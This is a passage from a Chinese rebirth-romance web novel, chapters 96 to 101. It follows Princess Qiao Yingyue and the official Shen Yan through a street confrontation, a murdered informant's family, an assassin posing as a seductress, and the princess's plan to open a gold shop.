《真心被践踏,重生转投权臣怀抱》 第九十六章确实很甜 乔楹月快走两步,站定在糖葫芦小哥身边,认真挑了一串。 红豆上前给了银子。 乔楹月举起来咬一口,酸甜的味道挺不错。 便听沈砚语气不高兴。 “公主只买一串?” 乔楹月看他一眼,理所当然道:“本宫以为像沈大人这种人,是不会喜欢吃这种小东西的。” “本官是哪种人?” “冷漠无情没有童趣只知道政权争斗的无趣之人。” 乔楹月咬了一口糖葫芦,抿进嘴里秀气的吃着。 饱满的唇瓣沾了红色糖渍,粉色小舌伸出,将糖渍舔净,留下潋滟色泽。 沈砚忽然握住乔楹月拿糖葫芦的手,低头将被乔楹月咬了一半的那颗糖葫芦咬下来,含进口中,细细品尝。 不一会儿清冷的脸上露出丝丝满足。 “确实很甜。” 乔楹月看着‘脏了’的糖葫芦,想了一想,主动伸手将整根糖葫芦都递给他。 “既然沈大人喜欢吃,那就都给沈大人吃吧!” 沈砚一下就看穿了小姑娘的小心思,被气得笑出来。 他故意摇头。 “微臣吃不下了。” 乔楹月盯着糖葫芦犹豫了好一会儿,终是送到嘴边吃起来。 只是怎么吃怎么觉得像在吃沈砚的口水。 越想越膈应。 “公主的表情好像不舒服,是不是糖葫芦不合胃口?” 红豆不明所以,看见乔楹月表情不对,关切的询问着。 乔楹月对她丢出两个字:“没事。” 最终这根糖葫芦还是被乔楹月吃完了。 父皇从小就教导她,浪费可耻,她没有辜负父皇的教诲! 便在此时,路边的一家首饰铺子中忽然传来嘈杂声。 被夹在中间的一道声音让乔楹月感到耳熟,下意识停下来朝店中观望。 便见小小的铺子中站着两道俏丽的身影。 左边的少女瞧着十五六岁,正满脸骄横的看着对面的少女。 “这根簪子的价钱贵重极了,你一个庶女有什么资格佩戴?” 这骄横少女是容府的嫡出三小姐,名叫容明月。 而站在她对面的,是容府的庶出二小姐,容旖纾。 这会儿容旖纾一脸受伤,眼中含泪,泫然欲泣,却坚强的忍着眼泪。 “明月,我的出身确实不如你,我有自知之明,所以在府中我从未与你争抢过什么。 另外,这簪子是我花光自己的银子买来送给母亲的生辰礼,并非我自己佩戴。 其次,即便我自己佩戴,也并无过错,因为这些银子都是我自己铺子里头挣来的,我不欠任何人!” 容旖纾生得讨喜,模样称不上绝色,但神态间却总是透着几分楚楚可怜,叫人忍不住对她生出好感。 而这位容府嫡出三小姐却相反,生得绝色之姿,但眉眼锐利,让人一看就觉得不好相处。 这会儿容旖纾面对这位三小姐的刁难,却并未失了容府千金的身份,反而不卑不亢的说清事情的来龙去脉,更是不轻不重的刺了对方一下。 这一番做为让她六分的姿色立刻升到了九分。 眼看那位嫡出三小姐气恼的面红耳赤却想不出应对之言,围观路人纷纷低语起来。 “容府这位嫡出三小姐抢了人家的簪子,却不将这买簪子的银子还给人家,实在过分。” “倒是这位庶出的小姐,行为举止都透着大家族的贵气,如此才能彰显容府的教养。” …… 驻足围观的还有几个大家族的子弟,看向容旖纾的目光充满爱慕,自发的上前为容旖纾解围起来。 “容小姐莫要难过,这簪子钱在下出了。” “容小姐!在下是张家幺子,今日见到小姐的遭遇十分怜悯,在下愿意随小姐回家,帮小姐说清今日之事!” …… 容旖纾一脸坚强的向诸位公子道谢,看似接受了所有人的好意,实则没有给任何人接近自己的机会。 反而那双眼睛时不时看向人群外的沈砚,似乎在期盼着什么。 乔楹月挑眉,不冷不淡的开腔:“人家在看沈大人呢。” 沈砚淡淡道:“难不成随便什么人看微臣一眼,微臣便要以身相许?” 乔楹月弯了唇角:“难道容小姐是随便什么人吗?” 沈砚毫不犹豫:“自然。” 店铺中,容旖纾见沈砚久不过来,还一副事不关己的态度与乔楹月有说有笑,拢在袖中的手暗暗握拳。 她朗声开口: “今日多谢各位公子相帮,但也请公子们在外多说说我家妹妹的好话,她只是性子急了些,并不是坏人。” 此言又得到了大家的同情,反之,大家对这位刁蛮的三小姐更厌恶了。 容旖纾唇角微扬:“出门太久,旖纾要回府了。” 她带上自己的丫鬟,提着裙摆,袅袅婷婷的走出店铺。 却见她在路过沈砚时,忽然脚下一滑,狼狈的摔在了沈砚的脚边。 那张楚楚可怜的脸因为疼痛皱了起来,红唇死死咬着。 乔楹月领悟极快。 一个弱女子摔在了面前,只要是个有人性的男人都要扶一下的。 这会儿沈砚若是扶了,容旖纾便能顺势与他拉近关系。 若沈砚不扶,便会落下冷血无情的坏名声。 朝中为官者都格外在意名声。 沈砚也不例外。 容旖纾的双手被握住,她心中一喜,顺势站起来,红着脸向沈砚道谢。 “旖纾失礼了,多谢沈公子帮忙解围!” 便听见一道柔美而不失高贵的声音回答了她。 “是本宫扶你, 你应该谢本宫才是。” 容旖纾错愕抬头,果见站在自己面前的是乔楹月,而她中意的男人站在乔楹月身后,目光落在她身上时,全然是看待陌生人的冷淡。 容旖纾心中恼火,脸上笑容却不变,赶紧重新朝乔楹月谢恩。 但谢恩的话落下后,她又貌似不经意的提起了秦拂郁。 “没想到公主会有心情逛街,小女听说秦公子入狱之前曾前往公主府待到了傍晚,如今他犯事入狱,小女以为公主会伤心欲绝呢。” 此言看似关心乔楹月的心情,实则是诬陷她和秦拂郁感情深厚,深厚到不知青天白日的在公主府干过些什么勾当。 这份情深在秦拂郁入狱后消失,暗指乔楹月冷血无情,淫荡不堪。 第九十七章微臣愿意 “原来那位就是怀宁公主,早就听说她生性放荡,还以为是谣言,如今看来应当是真的。” “看那狐媚的模样就知道不是个检点的女子,皇家礼仪森严,怎会教出这种女子?” …… 议论声很小,传不到乔楹月的耳朵,但她的目光从那些躲闪的脸上扫过,就能猜到八分。 她一点儿不生气,反倒生出恶念。 “容小姐的意思是,秦拂郁在本宫府上待过半日,便是与本宫颠鸾倒凤了?” 她确实是这个意思。 但这么直白的敞开了说,倒让她不好回答了。 若点头,显得她嘴碎编排人,于她的形象不利。 若否认,便平白帮她洗清了这淫荡之名。 容旖纾快速思考,随后垂着眼睫叹气:“这等污言秽语,公主怎能当众吐出呢。” 不明确表态,而是继续泼脏水。 乔楹月在外的名声本就不好,看客会自行为她定罪。 果然,那些围观之人眼底隐藏的唾弃变成了直白的厌恶。 乔楹月半点不在乎这些眼神,直白的道:“本宫的公主府不仅仅只有秦拂郁上门待过半日呢,沈大人也去过,还不止待了半日。” 容旖纾心中恼火,立刻为沈砚辩白:“沈大人高风亮节,怎会做这种糊涂事,公主莫要胡乱攀扯!” 她可没有胡扯。 前些日子她中毒发热,沈砚半夜前来,她她的榻边照料了两个黑夜一个白日。 秦拂郁在公主府待半日就颠鸾倒凤了。 那沈砚岂不是与她浪到不知天地为何物了? 乔楹月唇边挑起不正经的笑意,对容旖纾道:“前些日子本宫生病,沈大人深夜来到公主府,在本宫榻前伺候了两夜一日。” 担心影响乔楹月的名声,沈砚前往公主府的消息无人知晓。 容旖纾断定乔楹月撒谎,沈砚为人正直,最是厌恶这种满口谎言的女子。 她心中得意,却面上不显,故意去问沈砚。 “砚哥哥,公主所言可属实?” 只要沈砚当众揭穿她,她将会成为盛京的笑柄! 沈砚一本正色的点头:“公主所言没有半分虚假。” 容旖纾愣了一下,不确定的反问:“砚哥哥可听清公主说了什么?” 沈砚面上露出不耐烦,反问她:“你在质疑本官耳聋?” 此言的意思很明白。 他听清楚,并确认乔楹月没有说谎。 容旖纾如遭雷击。 沈砚这般知礼的公子,怎会和乔楹月这种荡妇搅在一起?! 眼见容旖纾的脸色变得青红交加,甚至眼底漫上了伤心的泪水,乔楹月的唇角一点一点翘起。 喜欢来她面前恶心她,那就让她尝尝吃屎的滋味儿。 乔楹月忽然伸手抚上沈砚的脸颊,端着公主的高贵,淡声问他: “沈大人可愿做本宫的面首?” 沈砚的眸子动了动,落在乔楹月脸上。 高贵浅显的浮于表面,深层藏着的是愤怒。 他的眸色变得柔软,低沉道:“微臣愿意。” 便见小姑娘的唇角高高的向上扬起,笑容明媚极了。 容旖纾脸色巨变。 沈砚若做乔楹月的面首,她的计划就失败了一半,她绝对不能让这种事情发生! “方才是我记错了,秦公子去公主府是有正事与公主商量,皇家礼教森严,小女知道公主绝对不是随意之人! 如此看来,砚哥哥深夜去公主府上照料,定也是奉了皇命。 砚哥哥本就是正直之人,又有皇命在身,别说两夜一日,便是在公主府待上一个月,也不会随意与公主做不好的事!” 路人都不是傻子,前一刻分明是容旖纾言语引导大家想岔,这会儿自己又以正义之士的姿态解释,简直是将大家打成傻子耍。 那几个爱慕容旖纾的公子同时皱眉,看她的目光清醒了许多。 容旖纾咬唇,做出温婉的模样对沈砚说: “过几日母亲生辰,家中姐妹都邀了相熟的好友上门祝贺,砚哥哥也知道,小女自小在乡下长大,在京中就只有砚哥哥这一个朋友。 小女希望母亲生辰那日能够过来,为小女撑一撑场面。” 沈砚幼年时曾经遭受刺客追杀,恰巧被容旖纾相救,这件事儿京中许多人知晓。 这会儿容旖纾的话语又让人想起这桩救命之恩,以至于她邀请沈砚参加容府主母生辰的事儿,也显得理所当然。 假若沈砚拒绝,倒显得他无情。 沈砚垂眸瞧着楚楚可怜的容旖纾,淡淡开口:“救命之恩已还,容小姐三番五次用此事胁迫本官,不免让本官不喜。 容夫人的生辰宴都是女眷参加,本官便去不凑这热闹。” 拒绝的干脆利落,不留半点余地。 容旖纾面色惨白。 乔楹月忽然将手搭上沈砚手腕,“本宫乏了,不想走路。” 沈砚无视众人目光,打横抱起她,大步离去。 直到那道身影走出去很远,容旖纾才听见周围的议论声。 “容小姐回京后遇到好几次危险,可都是沈大人出手帮助,其实沈大人说的也没错,救命之恩早就还了,容小姐还总提,是我我也会厌烦。” “可不,那容小姐看似高洁,实则明里暗里指责怀宁公主不检点,她也不想想,人家怀宁公主是什么地位,她是什么地位,就算真的养面首又如何,轮不到她指责。” …… 容旖纾面红耳赤,无地自容,咬着红唇快速离开了这是非之地。 姬南萱走出人群,双手叉腰看着容府马车离开的方向冷哼。 容明月随着她走出来,脸上带着胜利的微笑。 方才那些议论便是这两人起的头。 容明月一脸庆幸:“还好怀宁公主知道如何治她,我方才可是吃了好大一口哑巴亏!” 要说容明月吃的哑巴亏,也是真的憋屈。 那支簪子是她找这家店老板提前定做,结果今日来取,却被容旖纾拿在了手中。 她本态度平和的与她讲道理,却在她三言两语的刺激之下失了态。 最终就变成她强取豪夺诋毁庶姐。 姬南萱拍拍她的肩膀:“你这庶姐心机很深,往后你千万要留心。” 容明月用力点头:“多谢容小姐提醒,我记住了!” 第九十八章矛盾初显 这会儿红豆气喘吁吁的跑过来,向姬南萱禀报。 “公主让奴婢告知姬小姐,公主去了金樽居,安排了酒宴,姬小姐和尚公子玩累了便直接去那儿用膳。” 姬南萱笑着应下。 没有了乔楹月在身边,姬南萱便也没有过多在街上逗留,和尚曀一起去了金樽居。 尚曀坐在宽大的饭桌前,看着桌上的珍馐美味,下意识理了理衣摆。 扭头看到身边的少女坐姿随意。 再看对面那对金童玉女,女子气质高贵,姿态慵懒,男子气质清冷,姿态自带威严。 所有人都与这华丽圣地相得益彰。 只有他,格格不入。 姬南萱并未察觉到尚曀的紧张,依旧和乔楹月说着盛京时兴的玩物。 千金难求的宝玉,在她口中好像也不过如此。 一匹难求的绸缎,是她一句话就能让店家送到府上的小东西, 还有很多很多尚曀听都没听过的物什。 “尚公子,喝酒。” 在尚曀出神时,面前的酒杯被人倒满。 沈砚端着杯子,主动与他碰杯。 喝酒时他意有所指的道:“君子如镜,尘蒙其面而不损其眀。君之才具,尤未磨之玉,稍假时日,必见光滑。” 此言是提点他莫要因为自己的身世而自卑,他的才华无人能比,他日高中,便富贵滔天。 也是在暗示他好好珍惜与姬南萱的感情,莫要因为自卑落下遗憾。 他清楚沈砚看得起自己除了自己的才华,还因为重视怀宁公主。 但他的内心依旧动容。 “多谢沈大人提点!” 沈砚微微一笑,率先饮尽杯中酒。 尚曀随后一口干了。 一杯酒下肚,尚曀的心情放松了许多。 这酒桌上的气氛,也逐渐松快起来。 乔楹月深深看了沈砚一眼。 这一眼被沈砚敏锐捕捉,他主动靠近,喷着酒气问:“公主偷看微臣作何?” 乔楹月盈盈的笑。 喝了几杯,她的脸上泛着绯红,连眸子也是迷离的。 整个人透着勾人的风情。 沈砚眸色暗了几分,正要说话,门外忽然传来呼喊声。 紧接着屋门从外面打开,沈匆快步走到沈砚身边禀报。 “大人,外人来了个妇人,自称是尚公子的母亲。” 沈砚琢磨一息,道:“请进来。” 沈匆立刻退下,随之一个妇人从外面进来。 这妇人瞧着四十来岁,穿着身灰布衣衫,脸有些黑,发髻也有些凌乱,整个人看起来不是太利索。 此人是尚曀的母亲,名叫谭二凤。 尚曀的脸色有些尴尬。 沈砚率先站起来,“尚夫人定还未用饭,坐下一起用一些。” 尚曀脸上的尴尬淡去,立刻站起来,走到母亲身边,提醒她行礼。 谭二凤挨个给在场的几人行礼,随后扶着儿子的手坐了下来。 谭二凤笑眯眯打量桌上的几位贵人,眼神没有半点恭谦。 乔楹月心中不喜,隐忍未发。 姬南萱想了想,甜甜的与谭二凤打招呼:“尚夫人爱吃什么,我让厨子去加菜。” 谭二凤的目光直白的将她上下打量了好几遍,然后问道:“你就是姬小姐?” 此人从姿态到说话,皆充满了无礼。 姬南萱笑容未变,耐心回道:“是的。” 熟料这谭二凤竟直接抓住姬南萱的手,声音洪亮的说了起来。 “听说姬小姐与我加曀儿情投意合,打算成亲了,我这个当母亲的心中高兴极了! 只是我们尚家实在寒酸,拿不出贵重的聘礼。 不过我已将我成亲时的银饰拿去重新打了新的首饰,东西虽然不多,但确是我的全部心意!” 先别说姬南萱和尚曀的婚事还八字没有一撇,就算真的定了亲,谭二凤这番作为也是无礼到家了。 姬南萱头一次遇见这样式儿的人。 若是旁的人,早让她丢出门去。 此人是尚曀的母亲,她不愿做的这么难看。 强行将自己的手抽出来,她勉强笑道:“尚夫人怕是听错了,我与尚公子只是朋友。” 女子名节有多重要,姬南萱还知道轻重。 没有成婚之前,她无论多么喜欢尚曀,都不会让自己陷入不利之地。 谭二凤听见这话十分诧异,正要说话,被尚曀拽了起来。 “姬小姐对不起!家母中了邪,小生代家母赔罪!” 随后他又向乔楹月和沈砚拱手。 “家母无礼,冲撞了贵人,小生向二位贵人赔罪!” 乔楹月看见姬南萱的脸上很不好看,不愿让这事儿继续演化下去,便微笑说道:“无事。” 尚曀重重点头,拽着谭二凤快速离开。 走出雅间后,谭二凤一脸生气的甩开儿子的手,不悦道:“我瞧这些贵人都是很好的人,人家并未与我生气,反倒是你,小家子气!” 尚曀忍着屈辱哑声道:“人家自持身份不计较,母亲看不出来吗?别说了,回家!” 雅间内。 姬南萱僵坐在椅子上,脸色十分不自然。 沈砚主动站起来:“微臣吃饱了,去外头等着公主。” 他离开以后,乔楹月坐到了姬南萱的身边,柔声问她。 “现在还想跟尚曀成亲吗?” 这一次姬南萱犹豫了片刻。 但也仅仅只是片刻,便坚定的点了头。 “我是与他成亲,又不与她成亲。” 可成亲从来不是两个人的事,而是两个家庭的事儿。 一个不好的婆婆,会让女人的婚姻变得一地鸡毛。 在这件事发生之前,乔楹月并未想这么多,她满意尚曀,完全是因为他前世的深情。 而眼下谭二凤的出现,让她开始思考尚曀此人是否真的适合姬南萱。 毕竟,感情不能当饭吃。 不过看眼下姬南萱的样子,这些道理她都听不进去。 反正也不会立刻就成亲,还有的是时间让姬南萱了解尚曀,了解她自己的感情。 接下来两人都没怎么说话。 姬南萱一杯一杯的喝酒,乔楹月便一杯一杯的陪着。 最后两人都喝多了。 乔楹月感觉自己躺在水月庵后山的栀子花海中,磅礴的雨声在耳边响着,秦拂郁阴毒的身影在雨中慢慢显现。 他的手中握着五根长长的铁钉。 乔楹月仿佛已经能感受到铁定穿透身体传来的痛苦。 她拼命想逃,大吼出声。 “秦拂郁!” 雨幕中,公主府的大门口,沈砚抱着乔楹月,沈匆为他撑伞,他迈上台阶的脚一滑,险些摔倒。 第九十九章摧毁信念 沈砚抱着乔楹月走进内室,轻柔的将她放在榻上,拉了被子为她盖好。 “公主好生歇息,微臣告辞。” 乔楹月忽然抓住沈砚的衣领,醉醺醺的喊着他。 “秦拂郁,秦拂郁。” 秦拂郁,本宫要杀了你! 沈砚看着小姑娘通红的双眸,激动的情绪,以及抓着自己衣领泛白的指甲。 缓缓抬手抓住胸前的小手,掌心一片细腻。 他毫不犹豫伸手搂住小姑娘纤细的腰肢,低头吻了上去。 在乔楹月的面前,沈砚一直是克制的,温柔的。 而此刻,他的吻霸道汹涌,仿佛有一头野兽冲出将他占领。 直到乔楹月呼吸困难,身子软得不成样子,他才意犹未尽的松开她。 低头看向怀中人,嘴唇红肿,泛着潋滟水光,眼眸迷离,像迷途羔羊。 他的脸上浮现一丝餍足的笑。 次日清晨,阳光从窗口洒进来,落在榻上人儿的脸上。 乔楹月的眼睛被阳光晃的难受,眼皮动了动,缓缓睁开。 眼眸起初迷茫,逐渐清晰。 昨晚喝多,竟将沈砚看成了秦拂郁。 她揉了揉眉心,唇角却抑不住上扬。 模样俊俏亲起来感觉真的不错。 她贵为公主,前世一世凄惨,这一世享受享受美男子也没什么错。 用过早膳后,宿醉的脑袋终于完全清醒,这时林酒上前来禀报。 “公主,沙启荣的家人救出来了。” 为了解救沙启荣的家人,乔楹月实打实的砸出去了好几万两银子。 说不心疼是假的。 但眼下事儿终于要有结果了,欣喜大于心疼。 “把沙启荣带上来。” “是!” 林酒匆匆下去,随后带着沙启荣进来。 几日不见,沙启荣看起来更加的消瘦,一双眼睛深深凹陷进去。 乔楹月让林酒为他端了把椅子,又给他端了一杯茶,这才开口。 “如今你的家人已经安全,你应该兑现承诺,将画中人的身份告知本宫。” 熟料沙启荣却苍凉一笑,流下两行眼泪绝望的眼泪。 “小的还以为自己找到了希望,没想到,公主竟是这般无能之人。” 这话透着蹊跷。 乔楹月蹙眉。 沙启荣哭着大笑:“如今小的父母和妻儿已死,五个儿子死了四个,唯剩下一个幺儿在世,小的不能再冒险了。” 他话音落下,嘴角便缓缓流下一道黑血。 紧接着这幅瘦弱的身子轰然倒地。 一切发生的太过突然,乔楹月完全没能反应。 直到林酒探了沙启荣的鼻息,告诉她人死了,她才反应过来。 “中毒了?” 嘴角的黑血很像中毒。 林酒点头:“他的口中有个毒囊……都怪属下不谨慎,竟让这么重要的人死了。” 乔楹月缓缓摇头:“你说你救出了他的家人,他却说家人已死,本宫要知道这中间发生了什么。” 林酒不敢怠慢,命人将沙启荣的尸首处理了,他则带人赶往安顿沙启荣家人的地方。 刚打开门,便被浓重的血腥气熏的反胃。 一步步往里走,一步一个血脚印。 只见堂屋的地上横七竖八的躺着七个无头尸体。 他仔细查看后确认,这些人分别是沙启荣的父母妻子,以及四个孩子。 沙启荣有五个孩子,如今生还的是他最小的幺儿。 林酒面色沉重的将此事禀报到乔楹月面前,最后重重跪下。 “公主恕罪!是属下疏忽!” 救出沙启荣的家人以后,林酒不敢怠慢,将人安顿好后又派了里三层外三层的人手保护。 人是昨晚安顿好的,恰巧昨晚乔楹月喝醉,他便等到今早禀报。 这中间仅仅隔了一夜。 有人神不知鬼不觉的闯入,割掉了七口人的脑袋,带走了一人。 而这些,他半点消息都没收到。 昨晚保护沙启荣家人的一半是公主府的暗卫,一半是他花高价从外面请回来的高手。 方才回公主府之前,他特意清点了人手,顿时头皮发麻。 公主府的暗卫毫发无损,外头请回来的高手死了一大半。 而无论是公主府的暗卫,还是那剩下的一小半请回来的高手,都对昨晚的事儿毫无察觉。 那就有一种可能,杀人者完全有可能不惊动任何人潜入屋中杀人。 而杀人者偏偏要杀掉那一半请回来的高手,意在挑衅。 林酒原原本本将发生的一切告知乔楹月,唯独者杀人者的挑衅不知该如何开口。 此番为了解救沙启荣的家人,公主费了一大番功夫,而那背后人只是轻轻一出手,公主的努力便白费了。 如此可见,那背后人的财力远比公主大得多。 “你不必害怕,也不必自责,本宫明白,此番结局是本宫的能力不如对方,不怪你。” 忽听公主说话,林酒抬眼看向眼前的小姑娘,清楚捕捉到她脸上的沮丧,他的心忍不住疼了一下。 乔楹月阖眼靠在椅背上,冷静琢磨眼前的局面。 沙启荣这几日都住在公主府,并未出府过,却能清楚知道家人的情况。 定是有人悄悄给他递了消息。 做这件事的,一定是那背后人。 而她的公主府却完全蒙在谷中。 也就说明,她这看似安全的公主府,在那人眼中脆如蝉翼。 她花费几万银子才将沙启荣的家人救出来,对方杀这几人定是花费了数十倍的银子。 可想而知,对方的财力远超于她。 在这盛京城内,权利和钱财是不分家的。 当你的钱财到了一定的规模,那你一定也会拥有权利。 而当你的权利到了一定规模,钱财也会到你的口袋。 重生至今,她只想着用积攒人脉来把握权利,却忘了钱财也是把握权利的一种手段。 “公主,还有一件事。” 乔楹月微微抬眉,示意他说。 林酒沉声道:“属下在歃血楼请的人,这里头有规矩,若是他们的人死在雇主手中,一个人需要赔偿五百两银子。 此番一共死了一百个,也就是要赔……五万两。” 前面请人花了大几万两,如今又是五万两,里外花了十几万两。 公主府再是富有,也经不住这么花。 乔楹月冷冷笑了。 这背后人有趣得很。 无论是暗中给沙启荣递消息,还是杀害他家七口人,抑或是杀害那些她花费重金从歃血楼请回来的人。 目的都是用自己强大的财力,击退她追查的心。 再往大了说,怕是就连看见画像被林酒寻回来的沙启荣,也是对方的安排。 乔楹月不可能就此被击退,但却明白了一个现实。 她要和那人斗,必须先达到同等财力。 第一百章黄金生意 乔楹月决定做生意。 想了一夜,却没想好做哪一行生意。 昨晚没睡好,次日起床眼底有青影,姬南萱大清早上门来,瞧见她面色不佳,好一番询问。 随后她又抱怨。 “公主可不知道,宁烽知道沈大人送您回府,险些将我府上的马车拍烂。” 乔楹月诧异:“怎么回事?” 姬南萱便从昨晚她们喝醉说起。 沈砚送乔楹月回府,宁烽正好从金樽居门前路过,沈砚便支使他送姬南萱回府。 送姬南萱的路上,宁烽越想越气,一掌拍在马车上,将醉酒的姬南萱给震清醒了。 对此,乔楹月一笑置之。 姬南萱转而又说起了自己的好友。 “她生得花容月貌,性子端庄娴静,可惜啊,她的父亲牵扯进一桩贪污案,她的家被抄,家道中落,身份一落千丈。 眼下她才十八,街坊邻里就喊她老姑娘,她因此备受煎熬,便寻了个商户公子嫁人。 这男的一开始对她很好,可等到交换庚帖准备定亲时,却因为聘礼闹了矛盾。 她的母亲要求商户公子买一整套黄金头面,那男的一开始答应,临了却要换成一个黄金手镯,两家因此生了矛盾,最终我这好友因为婚讯传开妥协了。 这男的真让人生气,若换成尚曀,肯定不会出尔反尔。” 乔楹月本想点头,想了想,又觉得现实并不容期待。 尚曀对姬南萱的爱毋庸置疑,可现实太沉重,他年轻的肩膀抗不起,最终怕也是会让姬南萱妥协。 乔楹月忽然有些不确定了。 当初撮合他们二人,是否太过草率? 罢了,事已至此,多想无益。 乔楹月转而想起这黄金来。 从古至今,黄金从不缺市场。 而她重活一世,预先知晓许多花样子。 若是将这些花样子做成首饰,肯定能大卖。 那就做黄金生意好了! 送走姬南萱后,乔楹月开始思考黄金生意需要面临的实际问题。 一个是货源,一个是销路。 销路已经明确,货源还不明确。 货源是否靠谱非常重要。 她前世并未做过生意,没有任何关于黄金货源的人脉。 倒是沈砚,这盛京城内最有名的玉器行是他的,都是首饰,不知他有没有黄金货源的门路。 念及此,乔楹月立刻吩咐红豆。 “你亲自去一趟城东,告诉沈大人,本宫亲手做了几个菜,盛情邀请他品尝。” 半个时辰后红豆一脸忐忑的前来回禀。 “回公主,沈大人说事务繁忙,无福享受这些美食。” 乔楹月暗道不巧,便听见红豆神秘兮兮的告状。 “可是奴婢瞧着沈大人的样子,根本不像事务繁忙,那书房中还有一个美人儿呢,不知道在做些什么。” 乔楹月一愣,冷笑着站起来。 “让老洪套马车,本宫亲自去见他!” 不一会儿,乔楹月坐在了马车中,在前往城东的一路上,她的心跟火烧似的。 终于到了地方,没等红豆敲门,她一脚踹开大门,气势汹汹的闯了进去。 院子不大,入内便能看清里头布局。 只见右侧的书房门敞开着,一个身材丰腴,衣着暴露的女子站在书房门口。 沈砚站在书房里头,身形拢在阴影中。 但尽管身形拢在阴影中,乔楹月依旧能瞧见他脸上的浪荡之色。 “呵,沈大人一天到晚装的那么正经,没想到竟也能做出白日宣淫的腌臜事。” 乔楹月站在院中,双手还胸,下巴高傲的杨着,像只被激怒的猫儿。 沈砚的目光从美人儿头顶越过,落在她脸上,顿了顿,而后淡声问沈匆。 “还愣着?” 沈匆是被忽然坍塌的大门吓了一跳,这会儿反应过来,毫不怜香惜玉的将那美人儿的双臂拧到身后,将人带到了后院。 这美人儿被带去时哭着向沈砚求饶。 “沈大人!奴家也是被人威胁才做出爬床的丑事,奴家知道错了,求您饶奴家一命吧!” 沈砚无动于衷。 美人儿被带到后院以后,便没了声音。 乔楹月后知后觉的反应过来。 这美人儿哪儿是什么红袖添香,而是有心之人送到沈砚榻上的美人计。 既然如此,那她方才踹飞人家大门岂不是显得十分无礼? 乔楹月利落的扭头训斥林酒。 “本宫一直提醒你,敲门要小些力气,你竟将沈大人家的门给敲塌了,实在无礼!” 林酒半点都没带犹豫的朝沈砚请罪。 “在下失礼,沈大人尽管责罚!” 这欲盖弥彰的做法是个人都看得出来,但没人敢拆穿。 沈砚似笑非笑的走下来,垂眸看了一眼乔楹月的脚。 “微臣的门倒是无所谓,要紧的是公主的脚,万一扭到,可是大事。” 知他在讽她,乔楹月一点儿也不觉得尴尬,笑盈盈的转移话题。 “听闻沈大人公务繁忙,本宫便亲手将饭菜送了过来。” 为了证明公主言之有物,红豆赶紧拎着木盒上前,让沈砚看。 沈砚表情有些无奈,侧身请乔楹月进小厅。 坐下后,红豆将饭菜一一取出来。 乔楹月淡淡道:“即便是美人计,沈大人也没必要将人杀了,难道是得手了?” 沈砚低沉道:“她是个刺客。” 也就是说,那美人儿不是来睡沈砚,而是来要他的命。 难怪沈砚会对其痛下杀手。 乔楹月不再提那美人儿,安静的吃饭。 饭后,沈砚为她倒了一杯茶,他端着抿了一口,放下茶杯问。 “公主前来所为何事?” 乔楹月不悦:“就不能是专程给沈大人送饭?” 沈砚失笑:“专门来踹微臣的门倒是正常,专程来送饭……不可能。” “好吧,”乔楹月也懒得绕弯子,“本宫确实需要沈大人帮忙。” “公主请说。” “本宫想开一家金铺,却没有黄金货源,不知沈大人可有这方面的熟人?” 沈砚面露诧异:“公主并不缺银子花。” 乔楹月如实道:“无论是收幕僚,还是拉拢朝臣,都需要银子,本宫的银子只够吃穿。” 沈砚明了的点头,“微臣另外有一家金铺,货源合算,可将货源分给公主。” 第一百零一章真名斩玉 乔楹月没想到沈砚竟也有金铺。 她也来开金铺,属于跟他争利,而他不仅不生气,还要将货源分给她。 他对她的这份心,实在令她动容。 “至于条件,微臣只要公主金铺利润的六成便可。” 听得此言,乔楹月心底的感动打住,整个人冷静下来。 她就知道这厮没这么好心! 六成的利润可不是小数目,岂不是她忙碌一场,银子都进了他的口袋! 乔楹月忍气讨价还价:“一成。” “五成。” “一口价,两成!” “微臣也退一步,三成。” 乔楹月咬牙:“成交!” 答应下来的一瞬间,乔楹月的心在滴血。 不过沈砚还算有良心,另外又将他金铺的掌柜交给她。 “这是何掌柜,金铺的大小事都可以问他,用完记得还回来。” 乔楹月带着何掌柜扭头就走。 到时候寻得到合适的掌柜就还,寻不到就赖下来,三成的利润不能白给! 何掌柜确实很专业,关于金铺的选址和营销,他都非常熟悉。 在何掌柜的规划之下,乔楹月当下需要先选铺子。 选铺子是大事儿,由何掌柜先出门寻几个位置,乔楹月再去这几处相看,选择最佳铺面。 何掌柜在城东和城南寻了几家铺面,却对位置不太满意,最后那房牙临时得到一个转租的铺面,正好那铺子从前也是一家金铺,里头稍微修葺就能开业。 何展柜一听,十分期待,跟随房牙前往,看见铺面后十分满意,将之纳入备选铺面之一。 才一天的时间,何掌柜便选择了好几处铺面,当晚来到乔楹月面前复命。 乔楹月跟和掌柜商量后决定,次日清晨便去着几间铺面看看。 入夜。 城南的街心处有一家鸿发金铺,铺面很小,大门紧闭。 一门之隔的铺子里头,屋中燃着一盏油灯,豆大的灯光照不亮满室的黑暗,只能照见桌旁女子的侧脸。 女子轮廓偏硬,五官端庄大气,算不得顶级美人,却十分有味道,叫人忍不住细细欣赏。 而此刻在这女子的面前,一个尖嘴猴腮的男人倒在地上,手捂着肚子,鲜血从指缝涌出,流到了地上。 男人虚弱的撑着身子往后爬,颤抖着恐吓。 “翠花,你谋杀亲夫,是要杀头的!” 女子弯唇,抬手间,手中寒光闪烁,她毫不犹豫的走上前,将匕首插进了男人胸口。 男人痛苦的在地上挣扎。 她弯腰,厌恶的在男人耳边告知。 “一直没告诉你,我的真名叫,终斩玉!” 次日清晨。 乔楹月随着何掌柜相看铺子,她听着何掌柜对位置的分析,便也对城南街心的那家铺面十分好奇。 随着房牙来到城南街心,她抬头看着这方小小的铺面,见铺子上方的招牌上写着四个字。 鸿发金铺。 房牙用钥匙打开了铺子的大门,一股浓重的血腥味飘了出来。 “啊!!死人了!!!” 公主府。 乔楹月脸色不是太好,何掌柜忐忑的立在面前,小声的解释。 “那铺子小的昨日去看过,里头干干净净,没想到才一个晚上,就发生了这种事儿。 此事是小的没办好,公主大可责罚!” 乔楹月脑中回荡着血淋淋的画面,疲惫的揉了揉眉心,低声对何掌柜说道: “那铺子的位置倒是不错,只是铺面有些小。” 何掌柜赶紧道:“小的瞧见旁边的铺面空着,若是将旁边一起盘下来,地方便刚刚好。” 随后他有些不确定的问道:“公主想盘下这个铺子?” 乔楹月点头。 何掌柜心惊胆战:“那铺子死过人。” 乔楹月淡淡道:“什么地方没有死过人, 要什么紧,找个大师来做个法师便是了,正好还能用此事降些租金。” 城南的铺面很贵,开金铺本就是一大笔花销,眼下乔楹月可没银子买铺面,只能租。 租金也不便宜,这死了人的,肯定得便宜一半。 何掌柜见乔楹月是真的不在乎,便恭敬说道:“铺面租赁和大师做法的事儿小的来办。” “嗯,下去吧。” 这边何掌柜离开,那边姬南萱走进来。 